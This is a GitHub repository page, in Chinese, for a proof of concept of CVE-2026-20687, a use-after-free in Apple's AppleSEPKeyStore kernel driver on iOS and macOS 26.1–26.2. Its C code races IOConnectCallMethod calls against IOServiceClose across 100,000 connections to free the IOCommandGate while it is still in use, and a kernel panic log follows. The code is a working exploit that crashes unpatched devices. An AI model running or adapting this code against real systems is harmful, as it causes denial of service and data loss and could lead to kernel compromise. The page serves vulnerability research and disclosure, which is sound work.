zeroxjf/CVE-2026-20687-AppleSEPKeyStore-UAF

GitHub: zeroxjf/CVE-2026-20687-AppleSEPKeyStore-UAF

针对 AppleSEPKeyStore 驱动的 UAF 漏洞概念验证,通过多线程竞态条件触发内核崩溃以验证漏洞存在性。

Stars: 33 | Forks: 3

# CVE-2026-20687:AppleSEPKeyStore UAF(释放后使用)漏洞 **[CVE-2026-20687](https://support.apple.com/en-us/126792)** | 作者:[Johnny Franks (@zeroxjf)](https://x.com/zeroxjf) ## 受影响版本 | | | |--|--| | iOS | 26.1 - 26.2 (已测试) | | macOS | 26.1 - 26.2 (已测试) | | 组件 | `com.apple.driver.AppleSEPKeyStore` | | 已修复 | iOS 26.4 / macOS 26.4 | **注意:** Apple 可能已在 26.2.1 - 26.4 之间逐步修复了此问题,因此在中间版本上可能无效。 ## 警告 **此代码会导致设备崩溃。** 运行这些工具会导致立即发生内核恐慌(kernel panic)。 - 运行前请保存所有工作 - 未保存的文件可能发生数据丢失 - 反复的崩溃可能导致文件系统损坏 - 不对启动循环、数据丢失或设备变砖负责 - 仅供安全研究使用 ## 漏洞详情 通过 AppleKeyStore 竞态条件触发的 IOCommandGate 释放后使用(use-after-free)漏洞。8 个调用线程对选择器 0-15 高频调用 `IOConnectCallMethod`,同时 4 个关闭线程竞态调用 `IOServiceClose`,从而制造出在 command gate 被释放后仍被访问的时间窗口。 ## 概念验证 (PoC) ``` #define AKS_SERVICE_NAME "AppleKeyStore" #define NUM_CALLERS 8 #define NUM_CLOSERS 4 #define NUM_ITERATIONS 100000 static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL; // 8 caller threads: hammer IOConnectCallMethod (high priority) while (!done) { io_connect_t conn = atomic_load(&g_conn); if (conn == IO_OBJECT_NULL) continue; for (uint32_t sel = 0; sel < 16; sel++) { IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL); } } // 4 closer threads: race IOServiceClose (high priority) while (!done) { io_connect_t conn = atomic_load(&g_conn); if (conn == IO_OBJECT_NULL) continue; IOServiceClose(conn); atomic_store(&g_conn, IO_OBJECT_NULL); } // Main thread: 100k connections, no delay for (int i = 0; i < NUM_ITERATIONS; i++) { uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141; IOServiceOpen(svc, mach_task_self(), type, &conn); atomic_store(&g_conn, conn); // NO DELAY - tight race window } ``` ## Panic 日志 ``` panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0) 72: 0xfffffffffffffe00 Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025; root:xnu-12377.42.6~55/RELEASE_ARM64_T8030 Panicked task 0xffffffe5b4f1e820: pid 956: Test Kernel Extensions in backtrace: com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA] @0xfffffff016a47020->0xfffffff016a84f9f ```
标签:0day挖掘, AppleSEPKeyStore, Apple 安全, CVE-2026-20687, IOCommandGate, IOKit, iOS 内核漏洞, macOS 漏洞, PoC, UAF, Web报告查看器, XNU, 内核安全, 内核恐慌, 协议分析, 拒绝服务, 暴力破解, 权限提升, 概念验证, 漏洞复现, 竞态条件, 系统崩溃, 释放后重用, 零日漏洞